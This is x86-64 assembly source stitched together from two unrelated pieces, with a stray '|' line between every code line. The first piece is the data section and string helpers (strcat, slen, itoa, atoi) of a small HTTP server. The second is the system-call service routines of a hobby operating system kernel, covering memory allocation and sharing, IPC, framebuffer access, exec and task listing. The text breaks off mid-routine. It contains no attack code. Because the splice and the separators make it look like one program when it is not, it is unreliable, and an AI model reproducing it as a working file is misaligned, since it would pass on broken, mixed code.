err_msg_read db "An error occured during reading a file",0x00
|
|
err_msg_read_req db "An error occured during reading a request",0x00
|
|
err_msg_socket db "Failed to create socket",0x00
|
|
err_msg_socket_opt db "Failed to set socket options",0x00
|
|
err_msg_bind db "Can't bind address",0x00
|
|
err_msg_listen db "Socket don't want to listen",0x00
|
|
err_msg_accept db "Connection not accepted",0x00
|
|
err_msg_send db "An error occured during sending response",0x00
|
|
err_msg_close_sock db "Failed to close socket",0x0
|
|
|
|
index_file db "index.html",0x00
|
|
|
|
cont_length db "Content-Length: ",0x00
|
|
cont_length_len equ $ - cont_length - 1
|
|
|
|
cr_lf db 0x0d,0x0a,0x00
|
|
|
|
SECTION .text
|
|
|
|
; void strcat(char* dest, char* src)
|
|
; concatenates src to dest
|
|
strcat:
|
|
push rdi
|
|
push rsi
|
|
push rax
|
|
|
|
.find_end:
|
|
mov al, byte [rdi] ; load char
|
|
inc rdi ; increase ptr
|
|
cmp al, 0x00 ; until it reached terminating zero
|
|
jne .find_end
|
|
|
|
dec rdi ; place ptr back to terminating zero
|
|
cld ; clear decimal for lodsb
|
|
.place_char:
|
|
lodsb ; load char
|
|
mov [rdi], al ; place char
|
|
inc rdi ; increase ptr
|
|
cmp al, 0x00 ; until it reached terminating zero
|
|
jne .place_char
|
|
|
|
pop rax
|
|
pop rsi
|
|
pop rdi
|
|
ret
|
|
|
|
|
|
; int slen(char* str)
|
|
; calculates length of string
|
|
slen:
|
|
push rdi
|
|
push rsi
|
|
push rcx
|
|
|
|
cld ; clear decimal for lodsb
|
|
mov rcx, -1 ; take termintating zero into account
|
|
mov rsi, rdi ; move ptr to rsi for lodsb
|
|
.nextchar:
|
|
inc rcx ; increase counter
|
|
lodsb ; load char
|
|
cmp al, 0x00 ; until it reached terminating zero
|
|
jne .nextchar
|
|
|
|
mov rax, rcx ; return value
|
|
pop rcx
|
|
pop rsi
|
|
pop rdi
|
|
ret
|
|
|
|
|
|
; void itoa(int num, char* buf)
|
|
; int to char* conversion
|
|
itoa:
|
|
push rdi
|
|
push rsi
|
|
push rdx
|
|
push rax
|
|
push rbx
|
|
|
|
.start_converting:
|
|
call calc_digits_count ; get number of digits
|
|
mov rcx, rax
|
|
|
|
mov al, 0x00
|
|
mov [rsi+rcx], al ; place terminating zero at the end
|
|
dec rcx ; move pointer left
|
|
|
|
mov rax, rdi ; place number for dividing
|
|
mov rbx, 10
|
|
.loop:
|
|
xor rdx, rdx ; avoiding error
|
|
div rbx ; get remainder of dividing by ten
|
|
|
|
add rdx, 0x30 ; converting to ASCII digit's symbol
|
|
mov [rsi+rcx], dl ; place char
|
|
dec rcx ; move pointer left
|
|
cmp rax, 9
|
|
ja .loop ; until rax is zero
|
|
.last_digit:
|
|
add rax, 0x30 ; last digit
|
|
mov [rsi+rcx], al
|
|
|
|
pop rbx
|
|
pop rax
|
|
pop rdx
|
|
pop rsi
|
|
pop rdi
|
|
ret
|
|
|
|
|
|
; int atoi(char* buf)
|
|
; char* to int conversion
|
|
atoi:
|
|
push rsi
|
|
xor rax, rax
|
|
|
|
.loop:
|
|
movzx rsi, byte [rdi]
|
|
test rsi, rsi ; check for \0
|
|
je .done
|
|
|
|
cmp rsi, 48 ; check symbol is digit
|
|
jl .error
|
|
cmp rsi, 57
|
|
jg .error
|
|
|
|
sub rsi, 48 ; convert to decimal
|
|
imul rax, 10
|
|
add rax, rsi
|
|
|
|
inc rdi
|
|
jmp .loop
|
|
|
|
.error:
|
|
mov rax, -1 ; -1 on error
|
|
|
|
.done:
|
|
pop rsi
|
|
|
|
ret
|
|
|
|
|
|
; int calc_digits_count(int num)
|
|
; calculates count of digits in number
|
|
calc_digits_count:
|
|
push rdi
|
|
push rdx
|
|
push rbx
|
|
push rcx
|
|
|
|
mov rax, rdi ; move number
|
|
mov rbx, 10
|
|
xor rcx, rcx ; zeroing counter
|
|
.loop:
|
|
inc rcx
|
|
cmp rax, 10
|
|
jb .exit
|
|
xor rdx, rdx ; avoiding error
|
|
div rbx ; dividing by base until ratio is zero
|
|
jmp .loop
|
|
.exit:
|
|
mov rax, rcx ; move result in rax
|
|
|
|
pop rcx
|
|
pop rbx
|
|
pop rdx
|
|
pop rdi
|
|
ret
|
|
|
|
;===============================================================================
|
|
;Copyright (C) Andrzej Adamczyk (at https://blackdev.org/). All rights reserved.
|
|
;===============================================================================
|
|
|
|
; information for linker
|
|
section .rodata
|
|
|
|
; align routine
|
|
align 0x08, db 0x00
|
|
kernel_service_list:
|
|
dq kernel_service_exit
|
|
dq kernel_service_framebuffer
|
|
dq kernel_service_memory_alloc
|
|
dq kernel_service_memory_release
|
|
dq kernel_service_task_pid
|
|
dq kernel_service_driver_mouse
|
|
dq kernel_service_storage_read
|
|
dq kernel_service_exec
|
|
dq kernel_service_ipc_send
|
|
dq kernel_service_ipc_receive
|
|
dq kernel_service_memory_share
|
|
dq driver_ps2_keyboard_key_read
|
|
dq kernel_service_task_status
|
|
dq kernel_stream_out
|
|
dq kernel_stream_in
|
|
dq kernel_service_serial_char
|
|
dq kernel_service_serial_string
|
|
dq kernel_service_serial_value
|
|
dq driver_rtc_time
|
|
dq kernel_stream_set
|
|
dq kernel_stream_get
|
|
dq kernel_service_sleep
|
|
dq kernel_service_uptime
|
|
dq kernel_stream_out_value
|
|
dq kernel_service_task
|
|
dq kernel_service_memory
|
|
dq kernel_service_thread
|
|
kernel_service_list_end:
|
|
|
|
; information for linker
|
|
section .text
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; in:
|
|
; rdi - pointer to Memory descriptor
|
|
kernel_service_memory:
|
|
; preserve original registers
|
|
push rax
|
|
push r8
|
|
|
|
; kernel environment variables/rountines base addrrax
|
|
mov r8, qword [kernel_environment_base_address]
|
|
|
|
; return information about
|
|
|
|
; all available pages
|
|
mov rax, qword [r8 + KERNEL_STRUCTURE.page_total]
|
|
mov qword [rdi + LIB_SYS_STRUCTURE_MEMORY.total], rax
|
|
|
|
; and currently free
|
|
mov rax, qword [r8 + KERNEL_STRUCTURE.page_available]
|
|
mov qword [rdi + LIB_SYS_STRUCTURE_MEMORY.available], rax
|
|
|
|
; restore original registers
|
|
pop r8
|
|
pop rax
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; void
|
|
kernel_service_exit:
|
|
; retrieve pointer to current task descriptor
|
|
call kernel_task_active
|
|
|
|
; mark task as closed and not active
|
|
or word [r9 + KERNEL_TASK_STRUCTURE.flags], KERNEL_TASK_FLAG_closed
|
|
and word [r9 + KERNEL_TASK_STRUCTURE.flags], ~KERNEL_TASK_FLAG_active
|
|
|
|
; release rest of AP time
|
|
int 0x20
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; in:
|
|
; rdi - sleep amount in microtime
|
|
kernel_service_sleep:
|
|
; preserve original registers
|
|
push rdi
|
|
push r8
|
|
push r9
|
|
|
|
; kernel environment variables/rountines base address
|
|
mov r8, qword [kernel_environment_base_address]
|
|
|
|
; retrieve pointer to current task descriptor
|
|
call kernel_task_active
|
|
|
|
; current uptime
|
|
add rdi, qword [r8 + KERNEL_STRUCTURE.hpet_microtime]
|
|
|
|
; go to sleep for N ticks
|
|
mov qword [r9 + KERNEL_TASK_STRUCTURE.sleep], rdi
|
|
|
|
; release the remaining CPU time
|
|
int 0x20
|
|
|
|
; restore original registers
|
|
pop r9
|
|
pop r8
|
|
pop rdi
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; out:
|
|
; rax - current uptime in microtime
|
|
kernel_service_uptime:
|
|
; return current microtime index
|
|
mov rax, qword [kernel_environment_base_address]
|
|
mov rax, qword [rax + KERNEL_STRUCTURE.hpet_microtime]
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; in:
|
|
; rdi - pointer to mouse descriptor
|
|
kernel_service_driver_mouse:
|
|
; preserve original registers
|
|
push rax
|
|
push r8
|
|
|
|
; kernel environment variables/rountines base address
|
|
mov r8, qword [kernel_environment_base_address]
|
|
|
|
; share information about mouse location and status
|
|
mov ax, word [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_x]
|
|
mov word [rdi + LIB_SYS_STRUCTURE_MOUSE.x], ax
|
|
mov ax, word [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_y]
|
|
mov word [rdi + LIB_SYS_STRUCTURE_MOUSE.y], ax
|
|
mov al, byte [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_status]
|
|
mov byte [rdi + LIB_SYS_STRUCTURE_MOUSE.status], al
|
|
|
|
; restore original registers
|
|
pop r8
|
|
pop rax
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; in:
|
|
; rdx - stream flags
|
|
; rsi - length of file name/path
|
|
; rdi - pointer to file name/path
|
|
; out:
|
|
; rax - process ID
|
|
kernel_service_exec:
|
|
; preserve original registers
|
|
push rcx
|
|
push rsi
|
|
push rdi
|
|
push rbp
|
|
push r8
|
|
|
|
; kernel environment variables/rountines base address
|
|
mov r8, qword [kernel_environment_base_address]
|
|
|
|
; reorganize registers
|
|
mov rcx, rsi ; length of string
|
|
mov rsi, rdx ; pointer to string
|
|
xchg rsi, rdi ; stream flags
|
|
|
|
; execute file from path
|
|
call kernel_exec
|
|
|
|
; restore original registers
|
|
pop r8
|
|
pop rbp
|
|
pop rdi
|
|
pop rsi
|
|
pop rcx
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; in:
|
|
; rdi - pointer to framebuffer descriptor
|
|
kernel_service_framebuffer:
|
|
; preserve original registers
|
|
push rax
|
|
push rcx
|
|
push rdx
|
|
push rsi
|
|
push r8
|
|
push r9
|
|
push r11
|
|
|
|
; kernel environment variables/rountines base address
|
|
mov r8, qword [kernel_environment_base_address]
|
|
|
|
; return properties of framebuffer
|
|
|
|
; width in pixels
|
|
mov ax, word [r8 + KERNEL_STRUCTURE.framebuffer_width_pixel]
|
|
mov word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.width_pixel], ax
|
|
|
|
; height in pixels
|
|
mov ax, word [r8 + KERNEL_STRUCTURE.framebuffer_height_pixel]
|
|
mov word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.height_pixel], ax
|
|
|
|
; scanline in Bytes
|
|
mov eax, dword [r8 + KERNEL_STRUCTURE.framebuffer_scanline_byte]
|
|
mov dword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.scanline_byte], eax
|
|
|
|
; framebuffer manager
|
|
mov rax, qword [r8 + KERNEL_STRUCTURE.framebuffer_pid]
|
|
|
|
; framebuffer manager exist?
|
|
test rax, rax
|
|
jnz .return ; yes
|
|
|
|
; retrieve pointer to current task descriptor
|
|
call kernel_task_active
|
|
|
|
; calculate size of framebuffer space
|
|
mov eax, dword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.scanline_byte]
|
|
movzx ecx, word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.height_pixel]
|
|
mul rcx
|
|
|
|
; convert to pages
|
|
add rax, ~STATIC_PAGE_mask
|
|
shr rax, STATIC_PAGE_SIZE_shift
|
|
|
|
; share framebuffer memory space with process
|
|
xor ecx, ecx ; no framebuffer manager, if error on below function
|
|
xchg rcx, rax ; length of shared space in pages
|
|
mov rsi, qword [r8 + KERNEL_STRUCTURE.framebuffer_base_address]
|
|
mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3]
|
|
call kernel_memory_share
|
|
jc .return ; no enough memory?
|
|
|
|
; return pointer to shared memory of framebuffer
|
|
mov qword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.base_address], rax
|
|
|
|
; new framebuffer manager
|
|
mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.pid]
|
|
mov qword [r8 + KERNEL_STRUCTURE.framebuffer_pid], rax
|
|
|
|
.return:
|
|
; inform about framebuffer manager
|
|
mov qword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.pid], rax
|
|
|
|
; restore original registers
|
|
pop r11
|
|
pop r9
|
|
pop r8
|
|
pop rsi
|
|
pop rdx
|
|
pop rcx
|
|
pop rax
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; in:
|
|
; rdi - ID of target process
|
|
; rsi - pointer to message data
|
|
kernel_service_ipc_send:
|
|
; preserve original registers
|
|
push rax
|
|
push rcx
|
|
push rsi
|
|
push rdi
|
|
push r8
|
|
|
|
; kernel environment variables/rountines base address
|
|
mov r8, qword [kernel_environment_base_address]
|
|
|
|
.lock:
|
|
; request an exclusive access
|
|
mov cl, LOCK
|
|
lock xchg byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], cl
|
|
|
|
; assigned?
|
|
test cl, cl
|
|
jnz .lock ; no
|
|
|
|
.restart:
|
|
; amount of entries
|
|
mov rcx, KERNEL_IPC_limit
|
|
|
|
; set pointer to first message
|
|
mov rdx, qword [r8 + KERNEL_STRUCTURE.ipc_base_address]
|
|
|
|
.loop:
|
|
; free entry?
|
|
mov rax, qword [r8 + KERNEL_STRUCTURE.hpet_microtime]
|
|
cmp qword [rdx + LIB_SYS_STRUCTURE_IPC.ttl], rax
|
|
jbe .found ; yes
|
|
|
|
; next entry from list
|
|
add rdx, LIB_SYS_STRUCTURE_IPC.SIZE
|
|
|
|
; end of message list?
|
|
dec rcx
|
|
jz .restart ; yes
|
|
|
|
; no
|
|
jmp .loop
|
|
|
|
.found:
|
|
; set message time out
|
|
add rax, KERNEL_IPC_timeout
|
|
mov qword [rdx + LIB_SYS_STRUCTURE_IPC.ttl], rax
|
|
|
|
; set message source
|
|
call kernel_task_pid
|
|
mov qword [rdx + LIB_SYS_STRUCTURE_IPC.source], rax
|
|
|
|
; set message target
|
|
mov qword [rdx + LIB_SYS_STRUCTURE_IPC.target], rdi
|
|
|
|
; load data into message
|
|
mov ecx, LIB_SYS_IPC_DATA_size_byte
|
|
mov rdi, rdx
|
|
add rdi, LIB_SYS_STRUCTURE_IPC.data
|
|
rep movsb
|
|
|
|
.end:
|
|
; release access
|
|
mov byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], UNLOCK
|
|
|
|
; restore original registers
|
|
pop r8
|
|
pop rdi
|
|
pop rsi
|
|
pop rcx
|
|
pop rax
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; in:
|
|
; rdi - pointer to message descriptor
|
|
; sil - message type
|
|
; out:
|
|
; TRUE if message retrieved
|
|
kernel_service_ipc_receive:
|
|
; preserve original registers
|
|
push rbx
|
|
push rcx
|
|
push rdi
|
|
push r8
|
|
push rsi
|
|
|
|
; kernel environment variables/rountines base address
|
|
mov r8, qword [kernel_environment_base_address]
|
|
|
|
.lock:
|
|
; request an exclusive access
|
|
mov cl, LOCK
|
|
lock xchg byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], cl
|
|
|
|
; assigned?
|
|
test cl, cl
|
|
jnz .lock ; no
|
|
|
|
; retrieve ID of current process
|
|
call kernel_task_pid
|
|
|
|
; amount of entries
|
|
mov rcx, KERNEL_IPC_limit
|
|
|
|
; set pointer to first message
|
|
mov rsi, qword [r8 + KERNEL_STRUCTURE.ipc_base_address]
|
|
|
|
.loop:
|
|
; message alive?
|
|
mov rbx, qword [r8 + KERNEL_STRUCTURE.hpet_microtime]
|
|
cmp qword [rsi + LIB_SYS_STRUCTURE_IPC.ttl], rbx
|
|
ja .check ; yes
|
|
|
|
.next:
|
|
; next entry from list?
|
|
add rsi, LIB_SYS_STRUCTURE_IPC.SIZE
|
|
dec rcx
|
|
jnz .loop ; yes
|
|
|
|
; no message for us
|
|
xor eax, eax
|
|
|
|
; no
|
|
jmp .end
|
|
|
|
.check:
|
|
; message type selected?
|
|
cmp byte [rsp], LIB_SYS_IPC_TYPE_ANY
|
|
je .any ; no
|
|
|
|
; requested message type?
|
|
mov bl, byte [rsp]
|
|
cmp bl, byte [rsi + LIB_SYS_STRUCTURE_IPC.data + LIB_SYS_STRUCTURE_IPC_DEFAULT.type]
|
|
jne .next ; no
|
|
|
|
.any:
|
|
; message for us?
|
|
cmp qword [rsi + LIB_SYS_STRUCTURE_IPC.target], rax
|
|
jne .next ; no
|
|
|
|
; preserve original register
|
|
push rsi
|
|
|
|
; load message to process descriptor
|
|
mov ecx, LIB_SYS_STRUCTURE_IPC.SIZE
|
|
rep movsb
|
|
|
|
; restore original register
|
|
pop rsi
|
|
|
|
; release entry
|
|
mov qword [rsi + LIB_SYS_STRUCTURE_IPC.ttl], EMPTY
|
|
|
|
; message transferred
|
|
mov eax, TRUE
|
|
|
|
.end:
|
|
; release access
|
|
mov byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], UNLOCK
|
|
|
|
; restore original registers
|
|
pop rsi
|
|
pop r8
|
|
pop rdi
|
|
pop rcx
|
|
pop rbx
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; in:
|
|
; rdi - length of space in Bytes
|
|
; out:
|
|
; rax - pointer to allocated space
|
|
; or EMPTY if no enough memory
|
|
kernel_service_memory_alloc:
|
|
; preserve original registers
|
|
push rbx
|
|
push rcx
|
|
push rsi
|
|
push rdi
|
|
push r8
|
|
push r9
|
|
push r11
|
|
|
|
; convert size to pages (align up to page boundaries)
|
|
add rdi, ~STATIC_PAGE_mask
|
|
shr rdi, STATIC_PAGE_SIZE_shift
|
|
|
|
; retrieve pointer to current task descriptor
|
|
call kernel_task_active
|
|
|
|
; set pointer of process paging array
|
|
mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3]
|
|
|
|
; aquire memory space from process memory map
|
|
mov r9, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map]
|
|
mov rcx, rdi ; number of pages
|
|
call kernel_memory_acquire
|
|
jc .error ; no enough memory
|
|
|
|
; convert first page number to logical address
|
|
shl rdi, STATIC_PAGE_SIZE_shift
|
|
|
|
; assign pages to allocated memory in process space
|
|
mov rax, rdi
|
|
mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_user | KERNEL_PAGE_FLAG_process
|
|
call kernel_page_alloc
|
|
jnc .allocated ; space allocated
|
|
|
|
; take back modifications
|
|
mov rsi, rcx
|
|
call kernel_service_memory_release
|
|
|
|
.error:
|
|
; no enough memory
|
|
xor eax, eax
|
|
|
|
; end
|
|
jmp .end
|
|
|
|
.allocated:
|
|
; retrieve pointer to current task descriptor
|
|
call kernel_task_active
|
|
|
|
; process memory usage
|
|
add qword [r9 + KERNEL_TASK_STRUCTURE.page], rcx
|
|
|
|
.end:
|
|
; restore original registers
|
|
pop r11
|
|
pop r9
|
|
pop r8
|
|
pop rdi
|
|
pop rsi
|
|
pop rcx
|
|
pop rbx
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; in:
|
|
; rdi - pointer to allocated space
|
|
; rsi - length of space in Bytes
|
|
kernel_service_memory_release:
|
|
; preserve original registers
|
|
push rax
|
|
push rcx
|
|
push rsi
|
|
push rdi
|
|
push r9
|
|
push r11
|
|
|
|
; retrieve pointer to current task descriptor
|
|
call kernel_task_active
|
|
|
|
; convert bytes to pages
|
|
add rsi, ~STATIC_PAGE_mask
|
|
shr rsi, STATIC_PAGE_SIZE_shift
|
|
|
|
; pointer and counter at place
|
|
mov rcx, rsi
|
|
mov rsi, rdi
|
|
|
|
.loop:
|
|
; delete first physical page from logical address
|
|
mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3]
|
|
call kernel_page_remove
|
|
|
|
; page removed?
|
|
test rax, rax
|
|
jnz .release ; yes
|
|
|
|
; convert to page number
|
|
shr rsi, STATIC_PAGE_SIZE_shift
|
|
|
|
; continue
|
|
jmp .next
|
|
|
|
.release:
|
|
; release page inside kernels binary memory map
|
|
mov rdi, rax
|
|
or rdi, qword [kernel_page_mirror]
|
|
call kernel_memory_release_page
|
|
|
|
; release page inside process binary memory map
|
|
shr rsi, STATIC_PAGE_SIZE_shift
|
|
mov rdi, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map]
|
|
bts qword [rdi], rsi
|
|
|
|
; process memory usage
|
|
dec qword [r9 + KERNEL_TASK_STRUCTURE.page]
|
|
|
|
.next:
|
|
; next page from space
|
|
inc rsi
|
|
shl rsi, STATIC_PAGE_SIZE_shift
|
|
|
|
; another page?
|
|
dec rcx
|
|
jnz .loop ; yes
|
|
|
|
; restore original registers
|
|
pop r11
|
|
pop r9
|
|
pop rdi
|
|
pop rsi
|
|
pop rcx
|
|
pop rax
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; in:
|
|
; rdi - pointer to source memory space
|
|
; rsi - length of space in Bytes
|
|
; rdx - target process ID
|
|
; out:
|
|
; rax - pointer to shared memory between processes
|
|
kernel_service_memory_share:
|
|
; preserve original registers
|
|
push rbx
|
|
push rcx
|
|
push rsi
|
|
push rdi
|
|
push r9
|
|
push r11
|
|
|
|
; convert Bytes to pages
|
|
mov rcx, rsi
|
|
add rcx, ~STATIC_PAGE_mask
|
|
shr rcx, STATIC_PAGE_SIZE_shift
|
|
|
|
; retrieve task paging structure pointer
|
|
call kernel_task_by_id
|
|
mov r11, qword [rbx + KERNEL_TASK_STRUCTURE.cr3]
|
|
|
|
; set source pointer in place
|
|
mov rsi, rdi
|
|
|
|
; acquire memory space from target process
|
|
mov r9, qword [rbx + KERNEL_TASK_STRUCTURE.memory_map]
|
|
call kernel_memory_acquire
|
|
|
|
; convert page number to offset
|
|
shl rdi, STATIC_PAGE_SIZE_shift
|
|
|
|
; connect memory space of parent process with child
|
|
mov rax, rdi
|
|
mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_user | KERNEL_PAGE_FLAG_process | KERNEL_PAGE_FLAG_shared
|
|
call kernel_page_clang
|
|
|
|
; restore original registers
|
|
pop r11
|
|
pop r9
|
|
pop rdi
|
|
pop rsi
|
|
pop rcx
|
|
pop rbx
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; out:
|
|
; rax - PID of current task
|
|
kernel_service_task_pid:
|
|
; preserve original registers
|
|
push r9
|
|
|
|
; retrieve pointer to current task descriptor
|
|
call kernel_task_active
|
|
|
|
; set pointer of process paging array
|
|
mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.pid]
|
|
|
|
; restore original registers
|
|
pop r9
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; in:
|
|
; rdi - process ID
|
|
; out:
|
|
; ax - task status
|
|
kernel_service_task_status:
|
|
; preserve original registers
|
|
push rbx
|
|
push rdx
|
|
|
|
; retrieve pointer to current task descriptor
|
|
mov rdx, rdi
|
|
call kernel_task_by_id
|
|
|
|
; by default not found
|
|
xor ax, ax
|
|
|
|
; not found?
|
|
test rbx, rbx
|
|
jz .error ; yep
|
|
|
|
; set pointer of process paging array
|
|
mov ax, word [rbx + KERNEL_TASK_STRUCTURE.flags]
|
|
|
|
.error:
|
|
; restore original registers
|
|
pop rdx
|
|
pop rbx
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; in:
|
|
; rdi - ASCII character
|
|
kernel_service_serial_char:
|
|
; preserve original register
|
|
push rax
|
|
|
|
; send character to serial
|
|
mov al, dil
|
|
call driver_serial_char
|
|
|
|
; restore original register
|
|
pop rax
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; in:
|
|
; rdi - pointer to string
|
|
; rsi - length of string in Bytes
|
|
kernel_service_serial_string:
|
|
; preserve original registers
|
|
push rcx
|
|
push rsi
|
|
|
|
; send string to serial
|
|
mov rcx, rsi
|
|
mov rsi, rdi
|
|
call driver_serial_string
|
|
|
|
; restore original registers
|
|
pop rsi
|
|
pop rcx
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; in:
|
|
; rdi - value
|
|
; sil - base
|
|
; rdx - prefix length
|
|
; cl - TRUE/FALSE signed value?
|
|
kernel_service_serial_value:
|
|
; preserve original registers
|
|
push rax
|
|
push rbx
|
|
push rcx
|
|
push rdx
|
|
|
|
; send value to serial
|
|
mov rax, rdi
|
|
movzx ebx, sil
|
|
xchg rcx, rdx
|
|
call driver_serial_value
|
|
|
|
; restore original registers
|
|
pop rdx
|
|
pop rcx
|
|
pop rbx
|
|
pop rax
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; in:
|
|
; rdi - pointer to file descriptor
|
|
kernel_service_storage_read:
|
|
; preserve original registers
|
|
push rax
|
|
push rbx
|
|
push rcx
|
|
push rsi
|
|
push rbp
|
|
push r8
|
|
push r9
|
|
push r11
|
|
push rdi
|
|
|
|
; kernel environment variables/rountines base address
|
|
mov r8, qword [kernel_environment_base_address]
|
|
|
|
; prepare space for file descriptor
|
|
sub rsp, KERNEL_STORAGE_STRUCTURE_FILE.SIZE
|
|
mov rbp, rsp ; pointer of file descriptor
|
|
|
|
; get file properties
|
|
movzx eax, byte [r8 + KERNEL_STRUCTURE.storage_root_id]
|
|
movzx ecx, byte [rdi + LIB_SYS_STRUCTURE_STORAGE.length]
|
|
lea rsi, [rdi + LIB_SYS_STRUCTURE_STORAGE.name]
|
|
call kernel_storage_file
|
|
|
|
; file found?
|
|
cmp qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.id], EMPTY
|
|
je .end ; no
|
|
|
|
; prepare space for file content
|
|
mov rdi, qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.size_byte]
|
|
call kernel_service_memory_alloc
|
|
|
|
; no enough memory?
|
|
test rax, rax
|
|
jz .end ; yes
|
|
|
|
; load file content into prepared space
|
|
mov rsi, qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.id]
|
|
mov rdi, rax
|
|
movzx eax, byte [r8 + KERNEL_STRUCTURE.storage_root_id]
|
|
call kernel_storage_read
|
|
|
|
; retrieve current task pointer
|
|
call kernel_task_active
|
|
|
|
; restore file descriptor
|
|
mov rax, qword [rsp + KERNEL_STORAGE_STRUCTURE_FILE.SIZE]
|
|
|
|
; inform process about file location and size
|
|
push qword [rbp + KERNEL_STORAGE_STRUCTURE_FILE.size_byte]
|
|
pop qword [rax + LIB_SYS_STRUCTURE_STORAGE.size_byte]
|
|
mov qword [rax + LIB_SYS_STRUCTURE_STORAGE.address], rdi
|
|
|
|
.end:
|
|
; remove file descriptor from stack
|
|
add rsp, KERNEL_STORAGE_STRUCTURE_FILE.SIZE
|
|
|
|
; restore original registers
|
|
pop rdi
|
|
pop r11
|
|
pop r9
|
|
pop r8
|
|
pop rbp
|
|
pop rsi
|
|
pop rcx
|
|
pop rbx
|
|
pop rax
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; out:
|
|
; rax - pointer to list of first task descriptor
|
|
kernel_service_task:
|
|
; preserve original registers
|
|
push rbx
|
|
push rcx
|
|
push rdx
|
|
push rsi
|
|
push rdi
|
|
push r8
|
|
push r10
|
|
|
|
; kernel environment variables/rountines base address
|
|
mov r8, qword [kernel_environment_base_address]
|
|
|
|
.lock:
|
|
; request an exclusive access
|
|
mov al, LOCK
|
|
lock xchg byte [r8 + KERNEL_STRUCTURE.task_queue_semaphore], al
|
|
|
|
; assigned?
|
|
test al, al
|
|
jnz .lock ; no
|
|
|
|
; length of tasks descriptors in Bytes
|
|
mov eax, LIB_SYS_STRUCTURE_TASK.SIZE
|
|
mul qword [r8 + KERNEL_STRUCTURE.task_count]
|
|
|
|
; assign place for task descriptor list
|
|
mov rdi, rax
|
|
add rdi, STATIC_QWORD_SIZE_byte << STATIC_MULTIPLE_BY_2_shift
|
|
call kernel_service_memory_alloc
|
|
|
|
; store information about size of this space
|
|
add rdi, ~STATIC_PAGE_mask
|
|
shr rdi, STATIC_PAGE_SIZE_shift
|
|
mov qword [rax], rdi
|
|
|
|
; parse every entry
|
|
mov rbx, KERNEL_TASK_limit
|
|
mov r10, qword [r8 + KERNEL_STRUCTURE.task_queue_address]
|
|
|
|
; preserve memory space pointer of tasks descriptors
|
|
add rax, STATIC_QWORD_SIZE_byte << STATIC_MULTIPLE_BY_2_shift
|
|
push rax
|
|
|
|
.loop:
|
|
; entry exist?
|
|
cmp word [r10 + KERNEL_TASK_STRUCTURE.flags], EMPTY
|
|
je .next ; no
|
|
|
|
; do not pass kernel entry
|
|
cmp qword [r10 + KERNEL_TASK_STRUCTURE.pid], EMPTY
|
|
je .next
|
|
|
|
; share default information about task
|
|
|
|
; process ID
|
|
mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.pid]
|
|
mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid], rdx
|
|
|
|
; process parents ID
|
|
mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.pid_parent]
|
|
mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid_parent], rdx
|
|
|
|
; wake up process micotime
|
|
mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.sleep]
|
|
mov qword [rax + LIB_SYS_STRUCTURE_TASK.sleep], rdx
|
|
|
|
; amount of pages used by process
|
|
mov rdx, qword [r10 + KERNEL_TASK_STRUCTURE.page]
|
|
mov qword [rax + LIB_SYS_STRUCTURE_TASK.page], rdx
|
|
|
|
; current task status
|
|
mov dx, word [r10 + KERNEL_TASK_STRUCTURE.flags]
|
|
mov word [rax + LIB_SYS_STRUCTURE_TASK.flags], dx
|
|
|
|
